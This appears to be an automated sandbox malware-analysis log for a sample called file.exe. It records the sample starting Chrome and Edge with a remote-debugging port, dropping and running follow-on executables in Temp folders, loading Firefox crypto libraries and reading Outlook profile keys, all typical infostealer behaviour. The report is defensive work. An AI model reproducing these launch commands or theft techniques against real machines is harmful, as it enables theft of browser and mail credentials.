Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000003.2401578891.000000001D289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2502377111.000000001D27D000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.1.dr, KKFBFCAFCBKFIEBFHIDB.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000001.00000002.2763499157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsCFIECBFIDG.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2452,i,9957962094110795164,2357586939602050156,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2304,i,3889302733154723481,2697248192002229693,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6580 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFIECBFIDG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCFIECBFIDG.exe "C:\Users\user\DocumentsCFIECBFIDG.exe"
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6648 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe "C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFIECBFIDG.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2452,i,9957962094110795164,2357586939602050156,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2564 --field-trial-handle=2304,i,3889302733154723481,2697248192002229693,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6580 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7368 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6648 --field-trial-handle=2700,i,6320626564829817882,18350038372520561422,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCFIECBFIDG.exe "C:\Users\user\DocumentsCFIECBFIDG.exe"
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe "C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsCFIECBFIDG.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1830912 > 1048576

Source: file.exe

Static PE information: Raw size of xsqfukre is bigger than: 0x100000 < 0x1a5200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2764437765.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
